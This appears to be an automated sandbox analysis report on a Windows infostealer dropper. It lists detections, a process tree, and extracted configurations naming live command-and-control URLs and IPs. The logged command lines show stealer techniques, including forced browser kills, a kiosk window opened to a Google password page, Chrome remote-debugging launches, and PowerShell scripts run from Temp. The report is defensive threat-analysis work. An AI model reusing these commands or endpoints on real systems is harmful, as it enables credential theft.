Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561628
MD5:	f5634fe84a0d50da553341dd8b70f55b
SHA1:	ee0ce0583edd4b0093709fb1be3aba975e4f7780
SHA256:	33ec7d97e387a484ca822a25143b5d01ddce8ab813200719537702f0931f9e87
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Creates HTML files with .exe extension (expired dropper behavior)

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Drops large PE files

Excessive usage of taskkill to terminate processes

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious execution chain found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6924 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F5634FE84A0D50DA553341DD8B70F55B)

chrome.exe (PID: 5848 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2992 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2188,i,13522947928336970555,3590164361455550880,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 7816 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJKEGIDGDGH.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsJKEGIDGDGH.exe (PID: 7764 cmdline: "C:\Users\user\DocumentsJKEGIDGDGH.exe" MD5: 6D76634E0D5A3748DBB40ED91D91480A)

skotes.exe (PID: 3332 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 6D76634E0D5A3748DBB40ED91D91480A)

skotes.exe (PID: 2212 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6D76634E0D5A3748DBB40ED91D91480A)

5ff77f639c.exe (PID: 7228 cmdline: "C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe" MD5: CE1C81D721906475FC878EBD26D09AD4)

chrome.exe (PID: 7756 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6016 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2336,i,17663330087063727705,18440200283134138294,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

powershell.exe (PID: 3668 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008569041\gok44.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1196 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008570041\gok44.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8036 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008571041\aZhXvFT.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 8040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6580 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008572041\vtF7qZo.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1868 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008573041\6OMLg7r.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3636 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008574041\DcDqduU.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

32eab1d1d8.exe (PID: 7524 cmdline: "C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe" MD5: 89A84EB8A83E3072365849AF60F40DCC)

10d8464898.exe (PID: 1744 cmdline: "C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe" MD5: F5634FE84A0D50DA553341DD8B70F55B)

8236bedaa4.exe (PID: 7012 cmdline: "C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe" MD5: 163C161C40D81ABCF7762B5FE1E069F9)

taskkill.exe (PID: 8172 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 512 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3384 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7556 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7172 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 564 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

taskkill.exe (PID: 3896 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2128 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7800 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5240 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5196 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 8008 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

ef3d6a004b.exe (PID: 5996 cmdline: "C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe" MD5: F2742A9288B543DFD082FE555FC135E7)

powershell.exe (PID: 2896 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008579041\x0xqqzB.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

32eab1d1d8.exe (PID: 6416 cmdline: "C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe" MD5: 89A84EB8A83E3072365849AF60F40DCC)

10d8464898.exe (PID: 8004 cmdline: "C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe" MD5: F5634FE84A0D50DA553341DD8B70F55B)

firefox.exe (PID: 2260 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 8064 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3828 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2224 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fcf1a452-f26a-4fc9-9f15-0b7ffbed9b3e} 8064 "\\.\pipe\gecko-crash-server-pipe.8064" 1b3e1f6ad10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

8236bedaa4.exe (PID: 6156 cmdline: "C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe" MD5: 163C161C40D81ABCF7762B5FE1E069F9)

taskkill.exe (PID: 7840 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7860 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 940 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2188 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1356 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 7876 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6460 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

ef3d6a004b.exe (PID: 6092 cmdline: "C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe" MD5: F2742A9288B543DFD082FE555FC135E7)

32eab1d1d8.exe (PID: 1148 cmdline: "C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe" MD5: 89A84EB8A83E3072365849AF60F40DCC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000038.00000003.3403782942.000000000103F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2221067323.0000000000301000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000038.00000003.3351129304.0000000001049000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000002.2908507137.00000000011AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.2839662305.0000000005040000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.2892004269.00000000001D1000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002B.00000003.2984266147.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000038.00000003.3400561004.000000000103A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2178949689.0000000004B70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000003.3199847114.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.2815937143.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000038.00000003.3404015760.0000000001042000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2127237618.0000000000201000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.2950124279.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.2882349545.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2167459795.00000000003D1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000038.00000003.3399326642.0000000001037000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000038.00000003.3399431991.0000000001042000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.3192541173.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.3200161443.0000000000E30000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002B.00000002.3144520267.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000038.00000003.3400820228.0000000001042000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.2895024923.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000000.00000002.2128255409.0000000000C6D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000038.00000003.3350033216.0000000001037000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.2882349545.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2179088496.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.2846086250.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2126808040.0000000004900000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002B.00000002.3122292827.00000000001D1000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.2929836310.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1691787671.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6924	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6924	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6924	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6924	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 32eab1d1d8.exe PID: 7524	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 32eab1d1d8.exe PID: 7524	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 32eab1d1d8.exe PID: 7524	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 34 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.DocumentsJKEGIDGDGH.exe.3d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.2.skotes.exe.300000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2212, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\32eab1d1d8.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008569041\gok44.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008569041\gok44.ps1", CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentImage: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentProcessId: 2212, ParentProcessName: skotes.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008569041\gok44.ps1", ProcessId: 3668, ProcessName: powershell.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6924, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5848, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

